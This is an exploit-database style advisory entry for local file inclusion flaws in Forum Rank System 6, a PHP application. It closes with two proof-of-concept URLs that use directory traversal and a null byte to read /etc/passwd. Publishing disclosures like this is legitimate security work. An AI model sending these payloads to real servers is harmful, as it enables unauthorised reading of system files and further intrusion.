Forum Rank System 6 - 'settings['locale']' Multiple Local File Inclusions

Author: Matrix86
type: webapps
platform: php
port: 
date_added: 2008-05-07
date_updated: 2014-02-19
verified: 1
codes: CVE-2008-2227;OSVDB-45322
tags: 
aliases: 
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application_url: 

source: https://www.securityfocus.com/bid/29077/info

Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.

Forum Rank System 6 is vulnerable; other versions may also be affected.

http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00